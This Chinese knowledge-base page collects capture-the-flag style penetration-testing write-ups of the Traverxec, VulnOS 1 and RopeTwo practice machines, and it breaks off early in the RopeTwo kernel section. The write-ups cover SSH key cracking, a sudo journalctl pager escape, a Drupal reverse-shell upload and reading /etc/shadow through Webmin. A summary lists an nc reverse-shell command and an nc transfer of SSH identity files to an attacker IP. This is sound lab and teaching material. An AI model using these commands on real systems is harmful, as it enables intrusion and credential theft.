id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
```

接下来，使用john和rockyou.txt字典破解它。

``` bash
root@kali:~/vulnhub/Traverxec/home/david/.ssh# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:09 DONE (2020-04-21 23:13) 0.1097g/s 1574Kp/s 1574Kc/s 1574KC/sa6_123..*7¡Vamos!
Session completed
```

显示hunter为密码，使用它来SSH的连接到box。

``` bash
root@kali:~/vulnhub/Traverxec/home/david/.ssh# ssh -i id_rsa david@10.10.10.165
Enter passphrase for key 'id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Apr 21 19:57:32 2020 from 10.10.15.14
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
david@traverxec:~$ whoami
david
david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d
```

成功登录并找到了user.txt，然后提交

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb25.jpg)

#### 提权

用户的主目录包含一个名为bin的文件夹，其中包含以下内容。

``` bash
david@traverxec:~$ cd bin
david@traverxec:~/bin$ ls
server-stats.head  server-stats.sh
david@traverxec:~/bin$ cat server-stats.head
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
```

最后一行很有趣，因为它使用sudo执行journalctl。运行脚本来查看输出。

``` bash
david@traverxec:~/bin$ ./server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  23:31:53 up 18:20,  1 user,  load average: 0.00, 0.00, 0.00
 
Open nhttpd sockets: 4
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Tue 2020-04-21 05:11:04 EDT, end at Tue 2020-04-21 23:31:53 EDT. --
Apr 21 18:32:26 traverxec crontab[10493]: (www-data) LIST (www-data)
Apr 21 18:32:26 traverxec sudo[10666]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/7 ruser=www-data rhost=  user=www-data
Apr 21 18:32:28 traverxec sudo[10666]: pam_unix(sudo:auth): conversation failed
Apr 21 18:32:28 traverxec sudo[10666]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 21 18:32:28 traverxec sudo[10666]: www-data : command not allowed ; TTY=pts/7 ; PWD=/usr/bin ; USER=root ; COMMAND=list
```

该脚本使用journalctl返回nostromo服务日志的最后5行。

这是可以利用的，因为journalctl调用默认的分页器，而默认的分页器可能更少。

less命令将输出显示在用户的屏幕上，并在显示内容后等待用户输入。

可以通过运行shell命令来利用这一点。

``` bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

上面的命令调用less，之后可以通过前缀运行shell命令!。尝试执行/bin/bash。

``` bash
!/bin/bash
```

成功的提升到root权限并得到了root.txt

``` bash
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-04-22 00:21:56 EDT, end at Wed 2020-04-22 02:03:27 EDT. --
Apr 22 01:16:05 traverxec sudo[794]: www-data : user NOT in sudoers ; TTY=pts/1 ; PWD=/etc ; USER=root ; COMMAND=/bin/bash
Apr 22 01:58:13 traverxec su[856]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rh
Apr 22 01:58:15 traverxec su[856]: FAILED SU (to root) www-data on none
Apr 22 01:58:28 traverxec su[860]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rh
Apr 22 01:58:31 traverxec su[860]: FAILED SU (to root) www-data on none
!/bin/bash
root@traverxec:/home/david/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@traverxec:/home/david/bin# whoami
root
root@traverxec:/home/david/bin# cd /root
root@traverxec:~# ls
nostromo_1.9.6-1.deb  root.txt
root@traverxec:~# cat root.txt
9aa36a6d76f785dfd320a478f6e0d906
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb26.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb27.jpg)

<font color="red">知识点总结：</font>

 - nostromo版本1.9.6远程代码执行漏洞
 - nc -c /bin/sh 10.10.15.136 4444 命令反弹shell
 - Metasploit exploit/multi/http/nostromo_code_exec模块反弹shell
 - nc 10.10.15.136 1234 < backup-ssh-identity-files.tgz命令传输文件，并用nc -lvp 1234 > backup.tgz命令接收文件
 - ssh2john从RSA密钥中提取hash散列
 - john和rockyou.txt字典破解提取的hash值
 - /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service命令调用less之后通过前缀运行shell命令!，成功执行/bin/bash从而提权到root。

<font color="red">Game over</font>

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>



<!-- kb:end Traverxec -->

</details>

<a id="case-vulnos-1"></a>

## distcc 与多个管理入口

原环境提供 distcc、Webmin、Drupal 和 phpMyAdmin 多条可验证路线。保留模块执行、文件读取和凭据恢复各自的证据。

<p class="kb-provenance">来源 vulnos-1 · 原记录 2020-04-16 · 14 个代码块 · 12 处图片引用</p>

<details class="kb-evidence" id="record-vulnos-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start vulnos-1 -->

#### 名称
名称：VulnOS: 1
发布日期：2014年3月22日

#### 下载

VulnOS.vdi-vbox.7z

 - Download (Mirror): https://download.vulnhub.com/vulnos/VulnOS.vdi-vbox.7z
 - Download (Torrent): https://download.vulnhub.com/vulnos/VulnOS.vdi-vbox.7z.torrent



#### 描述

欢迎使用VulnOS！

这是制定的第一个脆弱目标，因为想回馈社区。为使事情成为可能的社区而努力！！！

目标是root它并找到操作系统内部的所有漏洞！这是一个ubuntu服务器10.04 LTS（已经制成了很多bug！！！）请勿在生产环境中使用此Box！这是一台VM，它是使用Virtualbox 4.3.8制作的-因此采用.vdi格式。

联网 ：
此box是使用桥接网络制成的，并使用DHCP获取IP地址（在构建时为192.168.1.66）。因此，最好将攻击操作系统和TARGET BOX共享到192.168.1.1/24的IP范围也许您可以使用m0n0wall进行设置并设置静态IP地址。
如果找不到目标的IP地址，请联系blakrat1 AT gmail DOT com。将为您提供root用户和密码以进行登录...。

希望你觉得这个box有用 ！！！

VulnHub独家！

#### 信息收集

上nmap

``` bash
C:\Users\HASEE>nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.124
Host is up (0.00s latency).
MAC Address: 08:00:27:43:06:19 (Oracle VirtualBox virtual NIC)
```

``` bash
C:\Users\HASEE>nmap -p- -v -sV 192.168.56.124
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.7.0-P1
80/tcp    open  http        Apache httpd 2.2.14 ((Ubuntu))
110/tcp   open  pop3        Dovecot pop3d
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd
389/tcp   open  ldap        OpenLDAP 2.2.X - 2.3.X
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell       Netkit rshd
901/tcp   open  http        Samba SWAT administration server
993/tcp   open  ssl/imap    Dovecot imapd
995/tcp   open  ssl/pop3    Dovecot pop3d
2000/tcp  open  sieve       Dovecot timsieved
2049/tcp  open  nfs         2-4 (RPC #100003)
3306/tcp  open  mysql       MySQL 5.1.73-0ubuntu0.10.04.1
3632/tcp  open  tcpwrapped
6667/tcp  open  irc         IRCnet ircd
8070/tcp  open  ucs-isc?
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
33370/tcp open  mountd      1-3 (RPC #100005)
56041/tcp open  status      1 (RPC #100024)
56144/tcp open  nlockmgr    1-4 (RPC #100021)
```

``` bash
root@kali:~# nmap -T4 -p 3632 -v 192.168.56.124
PORT     STATE SERVICE
3632/tcp open  distccd
```

在服务上花了足够的时间并尝试利用它们之后，成功利用了端口3632上托管的“distccd”服务。

搜索该服务的漏洞利用程序，发现了Meatsploit漏洞利用

``` bash
msf5 > search distccd

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution
```

设置RHOST IP地址并启动漏洞利用程序。

``` bash
msf5 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 192.168.56.102:3456 
[-] 192.168.56.124:3632 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.
```

不知怎么回事，利用不了这个漏洞，可能是漏洞太古老，太久远了，只能尝试其他方法了。

非典型情况-许多端口是开放的。
更喜欢从快速验证（例如MySQL默认帐户，NFS等）开始，进行深度渗透测试。
试图使用默认凭据（例如root：root，root：toor，root：password，root：mysql）登录MySQL服务器。不幸的是没有成功。还检查了NFS，但没有好消息...

#### getshell

``` bash
root@kali:~# rpcinfo -p 192.168.56.124
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  60680  status
    100024    1   tcp  40626  status
    100021    1   udp  38218  nlockmgr
    100021    3   udp  38218  nlockmgr
    100021    4   udp  38218  nlockmgr
    100021    1   tcp  44108  nlockmgr
    100021    3   tcp  44108  nlockmgr
    100021    4   tcp  44108  nlockmgr
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100005    1   udp  55441  mountd
    100005    1   tcp  33014  mountd
    100005    2   udp  55441  mountd
    100005    2   tcp  33014  mountd
    100005    3   udp  55441  mountd
    100005    3   tcp  33014  mountd
root@kali:~# showmount -e 192.168.56.124
Export list for 192.168.56.124:
```

尝试使用OpenSSH。进行了大量研究，发现一些专门用于OpenSSH <= 5.3的漏洞利用，但是它不起作用。

 - ![](https://3.bp.blogspot.com/-Pe7E17cUN_Y/V2uK6vvqgnI/AAAAAAAABdY/DJf0tqzFYc0tCl48ZT2SADUWlF6vx5_KwCLcB/s1600/exp.png)

好的，现在轮到Web浏览。默认网页如下所示

- ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub258.jpg)

源代码也不包含任何有用的信息。单击被转发到的链接

- ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub259.jpg)

嗯，也没什么有用的东西。应该记住，端口80不仅是一个开放的http端口。运行dirbuster爆破目录试试

- ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub260.jpg)

该目标使用Apache 2.2.14，它存在公共漏洞利用程序（CVE-2010-0425）。Metasploit具有专用于此版本的辅助模块。但是，现在只想在没有其他方法的情况下使用metasploit。

Dirbuster发现该Web应用程序还具有phpmyadmin面板。因此，请尝试使用默认凭据登录，如root/toor。答对了！

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub261.jpg)

以root身份成功登录！很好。尝试从/etc/shadow加载数据，但与/etc/passwd相反（可能权限不足）没有成功。

 - ![](https://1.bp.blogspot.com/-RFOIgH37Zno/V2uVUZEaH6I/AAAAAAAABeY/f5ttDoTmHOUaAGrMkpVCkgHRhCVIr_73wCLcB/s1600/passwd.png)

有系统用户的完整列表。尝试使用outfile语句创建phpinfo文件，但未成功。

检查一下可以从数据库中检索到什么在Drupal6数据库中，可以找到

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub262.jpg)

好！但是必须破解这些hash。在mysql数据库中，可以找到以下凭证

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub263.jpg)

非常好，因为拥有与/etc/passwd文件中部分相同的用户名。破解了几个密码，例如drupal6密码drupal6。所以，现在专注于Drupal

浏览器访问下面的url并使用drupal6/drupal6登录

``` bash
http://192.168.56.124/drupal6/
```

现在，必须找到上传PHP后门的地方。在《Administer》中，添加允许扩展的php和phtml。创建了帖子并附加了PHP后门。成功上传phtml后门文件，然后点击它...

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub264.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub265.jpg)

访问shell

``` bash
http://192.168.56.124/drupal6/sites/default/files/phpreverseshell2.phtml
```

然后kali端使用nc监听

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.124: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.124] 56444
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
 05:30:10 up  1:05,  0 users,  load average: 0.03, 0.05, 0.34
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/
```

优秀！获得了有限制的shell！检查了目标操作系统，并找到Ubuntu 10.04。不幸的是，每项攻击都行不通。花了很多时间寻找一些“秘密”文件，

``` bash
$ cat /etc/nagios3/htpasswd.users
nagiosadmin:8A86JOBWoCwnk
```

将/etc/passwd文件中的用户名作为字典列表，可能会有帮助。尝试使用john破解此密码

``` bash
root@kali:~/vulnhub/vulnos-1# john pass --wordlist=/root/vulnhub/vulnos-1/wordlist
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 44 candidates left, minimum 1024 needed for performance.
canuhack         (nagiosadmin)
1g 0:00:00:00 DONE (2020-04-17 03:25) 100.0g/s 4400p/s 4400c/s 4400C/s root..canuhack
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

很遗憾，没有nagiosadmin用户。/etc/passwd中的用户名为hackme，所以也许应该为canuhackme作为用户密码？

使用msf的auxiliary/admin/webmin/file_disclosure模块尝试读取/etc/shadow文件内容

然后将canuhackme添加到字典中

``` bash
msf5 auxiliary(admin/webmin/file_disclosure) > show options

Module options (auxiliary/admin/webmin/file_disclosure):

   Name     Current Setting   Required  Description
   ----     ---------------   --------  -----------
   DIR      /unauthenticated  yes       Webmin directory path
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.56.124    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH    /etc/shadow       yes       The file to download
   RPORT    10000             yes       The target port (TCP)
   SSL      false             no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host


Auxiliary action:

   Name      Description
   ----      -----------
   Download  


msf5 auxiliary(admin/webmin/file_disclosure) > run
[*] Running module against 192.168.56.124

[*] Attempting to retrieve /etc/shadow...
[*] The server returned: 200 Document follows
root:*:16137:0:99999:7:::
daemon:*:16137:0:99999:7:::
bin:*:16137:0:99999:7:::
sys:*:16137:0:99999:7:::
sync:*:16137:0:99999:7:::
games:*:16137:0:99999:7:::
man:*:16137:0:99999:7:::
lp:*:16137:0:99999:7:::
mail:*:16137:0:99999:7:::
news:*:16137:0:99999:7:::
uucp:*:16137:0:99999:7:::
proxy:*:16137:0:99999:7:::
www-data:*:16137:0:99999:7:::
backup:*:16137:0:99999:7:::
list:*:16137:0:99999:7:::
irc:*:16137:0:99999:7:::
gnats:*:16137:0:99999:7:::
nobody:*:16137:0:99999:7:::
libuuid:!:16137:0:99999:7:::
syslog:*:16137:0:99999:7:::
landscape:*:16137:0:99999:7:::
vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/:16137:0:99999:7:::
sysadmin:admin:16137:0:99999:7:::
webmin:webmin:16137:0:99999:7:::
hackme:hackme:16137:0:99999:7:::
sa:password1:16137:0:99999:7:::
stupiduser:stupiduser:16137:0:99999:7:::
messagebus:*:16137:0:99999:7:::
distccd:*:16137:0:99999:7:::
sshd:*:16138:0:99999:7:::
openldap:!:16138:0:99999:7:::
ftp:!:16138:0:99999:7:::
mysql:!:16138:0:99999:7:::
telnetd:*:16138:0:99999:7:::
bind:*:16138:0:99999:7:::
postgres:*:16138:0:99999:7:::
postfix:*:16138:0:99999:7:::
dovecot:*:16138:0:99999:7:::
tomcat6:*:16138:0:99999:7:::
statd:*:16138:0:99999:7:::
snmp:*:16138:0:99999:7:::
nagios:!:16140:0:99999:7:::
openerp:*:16140:0:99999:7:::
[*] Auxiliary module execution completed
```

再次使用john加载字典进行破解

``` bash
root@kali:~/vulnhub/vulnos-1# cat pass2
vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/root@kali:~/vulnhub/vulnos-1# john pass2 --wordlist=/root/vulnhub/vulnos-1/wordlist
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
canuhackme       (vulnosadmin)
1g 0:00:00:00 DONE (2020-04-17 03:52) 50.00g/s 2200p/s 2200c/s 2200C/s root..canuhackme
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

得到ssh登录用户名：vulnosadmin，密码：canuhackme

#### 登录并提权

``` bash
root@kali:~# ssh vulnosadmin@192.168.56.124
Enter passphrase for key '/root/.ssh/id_rsa': 
vulnosadmin@192.168.56.124's password: 
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
Ubuntu 10.04.4 LTS

Welcome to Ubuntu!
 * Documentation:  https://help.ubuntu.com/

  System information as of Fri Apr 17 09:55:15 CEST 2020

  System load:  0.0                Processes:           141
  Usage of /:   16.3% of 23.06GB   Users logged in:     0
  Memory usage: 38%                IP address for eth0: 192.168.56.124
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

New release 'precise' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Mar 19 17:31:44 2014 from 192.168.1.3
vulnosadmin@VulnOS:~$ id
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groepen=4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1000(vulnosadmin)
vulnosadmin@VulnOS:~$ whoami
vulnosadmin
vulnosadmin@VulnOS:~$ sudo -l
[sudo] password for vulnosadmin: 
Matching Defaults entries for vulnosadmin on this host:
    env_reset

User vulnosadmin may run the following commands on this host:
    (ALL) ALL
vulnosadmin@VulnOS:~$ su
Wachtwoord: 
su: Authenticatie fout
vulnosadmin@VulnOS:~$ sudo su
root@VulnOS:/home/vulnosadmin# id
uid=0(root) gid=0(root) groepen=0(root)
root@VulnOS:/home/vulnosadmin# whoami
root
root@VulnOS:/home/vulnosadmin# cd /root
root@VulnOS:~# ls
hello.txt
root@VulnOS:~# cat hello.txt 
Hello,

So you got root... You still need to find the rest of the vulnerabilities inside the OS !

TRY HARDER !!!!!!!
```

成功登录，提权到root然后拿到了flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub266.jpg)

<font color="red">注意，此靶机的漏洞非常多，在此不一一尝试了，有兴趣自己去尝试，有新的方法可以联系我QQ:1185151867。</font>

#### 知识点总结

 - msf exploit/unix/misc/distcc_exec 模块利用distcc漏洞getshell
 - phpmyadmin弱口令
 - Drupal修改配置项上传phtml shell
 - john加载/etc/passwd用户名字典破解hash密码
 - msf auxiliary/admin/webmin/file_disclosure模块读取/etc/shadow文件内容
 - sudo su 然后输入密码提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>









<!-- kb:end vulnos-1 -->

</details>




# 内核接口、映射与权限原语

内核阶段需要把设备接口、用户态映射、内核指针和权限函数放在同一执行路径中。本章保留原环境的调试、结构体、堆布局与替代提权分支，便于逐步核对控制原语。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/kernel/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

RopeTwo 的 ralloc 记录 IOCTL、tty_operations、KASLR、栈迁移与权限恢复。

Smasher2 从原生模块引用计数进入本地内核设备的映射分析。

Lord of the Root 保留 OverlayFS、SUID 与 UDF 多种路线，每条路线的前提不同。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [ralloc、tty_operations 与内核 ROP](#case-hackthebox-rope2-getroot) | hackthebox-rope2-getroot | Linux内核、KASLR、ROP、CVE-2020-8831 |
| [端口序列与多种本地提权](#case-lord-of-the-root-1-0-1) | Lord-Of-The-Root-1-0-1 | 端口敲门、OverlayFS、SUID、UDF |
| [引用计数与内核映射](#case-smasher2) | Smasher2 | 引用计数、UAF、Linux内核 |

<a id="case-hackthebox-rope2-getroot"></a>

## ralloc、tty_operations 与内核 ROP

分析从 IOCTL 结构和可控堆对象出发，串联 KASLR 泄漏、close 回调覆盖与栈迁移；另保留 apport 的非预期路径。

<p class="kb-provenance">来源 hackthebox-rope2-getroot · 原记录 2021-02-27 · 59 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-hackthebox-rope2-getroot">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hackthebox-rope2-getroot -->

#### 前言

此篇文章专门记录hack the box - ropetwo机器中获取root权限的ralloc KASLR linux内核堆ROP利用部分。

 - 到这一步之前，建议先看前两个步骤:
 - [HackTheBox-RopeTwo-[PWN-Chrome-V8引擎]](https://fdlucifer.github.io/2021/01/23/chrome-browserv8-pwn/)
 - [HackTheBox-RopeTwo-[pwn-rshell]](https://fdlucifer.github.io/2021/02/18/hackthebox-rope2-rshell-exploit/)

本篇文章是hackthebox - ropetwo机器的最后一个部分, 进行内核调试漏洞利用。



#### 枚举

当在寻找从chromeuser升级到r4j的方法时，运行了一个find查询来查找r4j拥有的文件。在上面展示了对该用户拥有的文件的搜索，对r4j组拥有的文件的搜索还返回了一些有趣的东西:

``` bash
r4j@rope2:~$ find / -type f -group r4j -ls 2>/dev/null | grep -v -e " \/proc" -e " \/sys"
  1054414      8 -rw-r-----   1 root     r4j          5856 Jun  1  2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko
  1056436     16 -rwsr-xr-x   1 r4j      r4j         14312 Feb 24  2020 /usr/bin/rshell
  1054405      4 -rwx------   1 r4j      r4j          3771 Apr  4  2019 /home/r4j/.bashrc
  1056441      4 -rw-r-----   1 root     r4j            33 Feb 26 17:52 /home/r4j/user.txt
  1054406      4 -rwx------   1 r4j      r4j           807 Apr  4  2019 /home/r4j/.profile
  1054407      4 -rwx------   1 r4j      r4j           220 Apr  4  2019 /home/r4j/.bash_logout
  1054423      0 -rw-r--r--   1 r4j      r4j             0 Feb 23  2020 /home/r4j/.cache/motd.legal-displayed
```

ralloc.ko是一个内核模块。在/dev中有一个匹配的设备:

``` bash
r4j@rope2:/dev$ ls -l ralloc
crw-r--r-- 1 root root 10, 52 Feb 26 17:52 ralloc
```

使用scp获取模块的副本:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# scp -i id_rsa r4j@10.10.10.196:/usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko .
ralloc.ko                                                                                                          100% 5856    20.2KB/s   00:00    
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# ls
chrome  gdb-rshell.init  id_rsa.pub            libc-2.29.so-debug                 libc.so.6-ropetwo  pwn_rshell.py  rshell    xpl.js
exp.py  id_rsa           ld-linux-x86-64.so.2  libc6-dbg_2.29-0ubuntu2_amd64.deb  patch.diff         ralloc.ko      xpl.html
```

还需要一些关于RopeTwo的额外信息，以便复制环境。操作系统和内核版本:

``` bash
r4j@rope2:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
